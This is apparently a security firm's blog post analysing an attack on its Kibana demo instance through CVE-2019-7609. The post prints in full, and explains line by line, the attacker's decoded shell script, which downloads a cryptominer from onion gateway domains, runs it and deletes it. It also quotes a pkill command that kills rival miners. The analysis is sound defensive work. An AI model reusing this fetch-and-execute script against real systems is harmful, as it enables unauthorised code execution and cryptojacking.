The Curious Case of a Kibana Compromise

The sun rose, coffee was guzzled, and fingers clicked away at keys, making it a typical day at Capsule8 HQ – until it wasn’t. As the Capsule8 team deployed one of our toy target instances (one with exploitable software on it for demo purposes), we noticed alerts firing from components which weren’t part of our normal demo. 

With a penchant for the paranoid (many of us are former black hats, after all), our suspicions flared at this irregularity. Was there exploitable software on this instance beyond that which we pre-installed? Indeed, dear reader, there was.

Here’s what happened

While deploying a cluster of cloud instances full of exploitable software, one of our sales engineers noticed something peculiar, and chimed in on Slack about what might be a potential bug. The deployed instances are part of an environment designed to be a hacking playground where customers and prospects can frolic and observe our detection capabilities (without having to host or attack their own vulnerable infrastructure). This means they are intentionally vulnerable to a variety of command injection, memory corruption, and privilege escalation vulnerabilities. 

We discovered an oddity — an alert arising from a part of the cluster we bolted on to visualize output, not a part of the software “goats” we ritually sacrifice to the demo gods to showcase our wares. No one likes the thought of bugs in their work, so our researchers were quick to jump in and analyze the source of the seemingly spurious alert. We discovered that this was no misfire, but instead an unanticipated (though eagerly welcome) spooky guest deploying their own “surprise administration” capabilities against our Kibana instance. We had real ghouls joining us in our holodeck horror house — Casper the Friendly Ghost this was not.

After analysis, we identified that the bug being popped was an RCE vulnerability in Kibana (CVE-2019-7609), the exploit for which was published on GitHub on October 21st, just two days prior to our detection in the wild within our laissez-faire hackzone. It’s almost 2020, and it brings us a nostalgic tear of joy to know that to this day, the kids still aren’t wasting any time to “productionize” new “tooling”. But as with many attacks against modern infrastructure these days, the attackers were using their newly acquired access for cryptomining.1 They could have stolen our digital soul, but settled for truffling out full-size Snickers bars for their treat pail. We immediately saw an attacker getting an interactive shell from Kibana, downloading a new executable, and running it (self high-five for that detection win). When going through our alert data, we quickly noticed there were program arguments that were base64 blobs. Looking deeper into attacker behavior, we saw that the base64-encoded data in program arguments was being passed to the base64 command in order to decode it. Attackers often base64-all-the-things to reduce the likelihood of something being escaped incorrectly and failing execution. Attackers like reliability so they can receive more treats than tricks.

The alert excerpt above is from the Capsule8 console, showing the contents and process lineage of the base64 payload being dropped.

Below is the post-base64 decoded script in full, which we will walk through to discuss the operations of this payload:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
x() {
x=/kb.$(uname -m)											
z=./$(date|md5sum|cut -f1 -d" ")									
dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)						
for i in . $dir /tmp /var/tmp /dev/shm /usr/bin;do touch $i/asdf && cd $i && rm -f asdf && break;done	

wget -t1 -T180 -qU- --no-check-certificate $1$x -O$z || curl -m180 -fsSLkA- $1$x -o$z	
chmod +x $z;$z;rm -f $z										
}
for h in onion.glass civiclink.network tor2web.io onion.sh onion.mn onion.in.net onion.to
do
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then						
x torntpcxcymuceev.$h										
else
break
fi
done

Let’s look through the script line by line:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

The first couple of lines shown above redirect all output to /dev/null and set a new PATH environment variable. Most of the script lives within the function x(), which will be called multiple times below.

x() {
x=/kb.$(uname -m)

The first meaningful behavior of this payload is to get the machine architecture. On our nodes, -m returns x86_64.

z=./$(date|md5sum|cut -f1 -d" ")

Here, the attacker is creating a random-looking filename for the Bitcoin mining executable they are about to drop onto the system. While the random file name might stick out like a sore thumb, it makes it harder for other people breaking onto the same box to find and kill this Bitcoin miner (an understandable threat for this attacker to bear in mind, as you will see below).

dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)

In this line, the attacker is saving the home directory of the running user.

for i in . $dir /tmp /var/tmp /dev/shm /usr/bin;do touch $i/asdf && cd $i && rm -f asdf && break;done

The above loop is looking for places where the attacker has write access. They’re looping through common directories (including the home directory it just found), changing into each directory, then trying to write a file in it. If it’s successful, they delete the file and exit the loop,  with the current working directory being one in which they know they can write.

wget -t1 -T180 -qU- --no-check-certificate $1$x -O$z || curl -m180 -fsSLkA- $1$x -o$z

This wget command downloads the miner. It uses a lot of options, including single attempt, 180s timeout, ignore insecure TLS certificates, outputting to the filename determined above, quiet mode, and no User Agent. The rest of this line means it also tries the curl command if wget fails, with more-or-less the same options..  Whether using wget or curl, the downloaded miner outputs to the same filename generated above.

$1 is the URL to pull from.

chmod +x $z;$z;rm -f $z										
}

The above line makes the miner file (the name of which is stored in $z) executable, runs it, and deletes the executable. The executable is deleted as a proactive cleanup step by the attacker.  

Below this point, we’re outside the function x(). The rest just loops through onion domains to try to pull the payload, and passes the domain to the function x().

for h in onion.glass civiclink.network tor2web.io onion.sh onion.mn onion.in.net onion.to
do
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then

This check seems to look for a pid value in the file /tmp/.X11-unix/01, presumably added by the attacker to record the pid of the running backdoor. This choice of this directory name, .X11-unix, is probably intended appear benign to users running Linux on the desktop. If the pid referenced in that file exists, this script doesn’t run the x() function but instead breaks out of the loop.

x torntpcxcymuceev.$h

The above line actually runs x(), passing in torntpcxcymuceev.<oniondomain>.

else
break
fi
Done

We still haven’t reverse engineered the cryptocurrency miner yet, but we were able to quickly ascertain what it was doing by using our investigative capabilities, running SQL queries against data that we streamed to S3 using AWS Athena. The two primary things we saw from our query were an attempt to install software on the box (in this case wget, which failed), and an attempt to kill all other cryptominers that might be running on this host:

pkill -9 -f ./cron|8220|aecc2ec|aegis_|AliHids|AliYunDun|aliyun-service|azipl|cr.sh|cronds|currn|curn|crun|cryptonight|ddgs|dhcleint|Donald|fs-manager|finJG|havegeds|hashfish|hwlh3wlh44lh|HT8s|gf128mul|Jonason|java-c|kerberods|khugepageds|kintegrityds|kpsmouseds|kthrotlds|kw0|kworkerds|kworkre|kwroker|mewrs|miner|mr.sh|muhsti|mygit|networkservice|orgfs|pastebin|qW3xT|qwefdas|sleep|stratum|sustes|sustse|sysguard|sysupdate|systeamd|SzdXM|t00ls|thisxxs|update.sh|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/update.sh|...

They kept trying to kill other cryptominers on a 10 minute interval, giving off major serial killer vibes. Think of pkill like their digital chainsaw and the attacker as Leatherface trying to kill off all the Jason Voorheeses and Freddy Kruegers in their territory.

Aftermath

Unfortunately for the attacker, they never managed to mine any coin (another win for the Ghostbusters!). Another cluster was popped fairly soon after the cluster we investigated was first compromised (within a day). Only two of the demo clusters we had open (at least a dozen that are unrelated other than running in AWS) got popped. 

We can confidently say that there’s at least one attacker running around trying to find and compromise unpatched Kibana servers. Unfortunately, we didn’t have our investigations capability collecting data in that cluster at first. We turned it on and then restarted our agent to see if the attacker persisted, but the cryptominer didn’t persist and the attacker never came back to that cluster.

The fact that the attacker we saw wasn’t competent enough to do anything useful is honestly a positive. There wasn’t even an attempt to escalate privilege, which is kind of lame on their part — like a ghost who just lurks in shadowed corners to steal leftover change rather than having the guts to scare a human to death and seize the mansion for eternal haunting. In light of this, this was most likely some script kiddies taking advantage of the fact that a public exploit for CVE-2019-7609 was (fairly quietly) dropped.

However, because the bug was so easy to exploit, anyone more sophisticated could have landed this exploit and stayed resident on the system without much worry of being detected. Very few people would have noticed, unless the attacker was doing something ostentatious — like mining for Bitcoin, which eats CPU and drives up cost on any public cloud instance.

But here’s what matters

Of course, a software bug being exploited in the wild is a tale as old as time, like the haunting of a decaying, elegant home on top of a hill. Our case serves as only one of many examples of a known vulnerability becoming a public exploit. Attackers, wanting economies of scale, apply the automation and wormification treatment to maximize the breadth of compromise. This is a tactic even among script kiddies, the most basic of attackers. That is to say, our story is not groundbreaking, or hype-worthy, and we certainly won’t register a domain with custom branding just for it.

When prospects come to us, they’ll often tell us they know they’ve been hacked because their cloud bill went up, and when they investigated, they found cryptomining activity. But they never have any idea how the attacker dropped their cryptominer onto the system, which makes it challenging to assess the damage and make sure it’s contained. Yes, bad things can happen, but you don’t have to panic – you just need to have visibility to know what’s going on so you can handle it efficiently, without leading to organizational disruption.

1. We discovered this by running the script through VirusTotal, showing it clearly was a denizen of Minertown (a figurative city in said boring cyber dystopia). Further investigation showed that the post-exploitation activities line up with similar miners.

The Capsule8 Labs team conducts offensive and defensive research to understand the threat landscape for modern infrastructure and to continuously improve Capsule8’s attack coverage.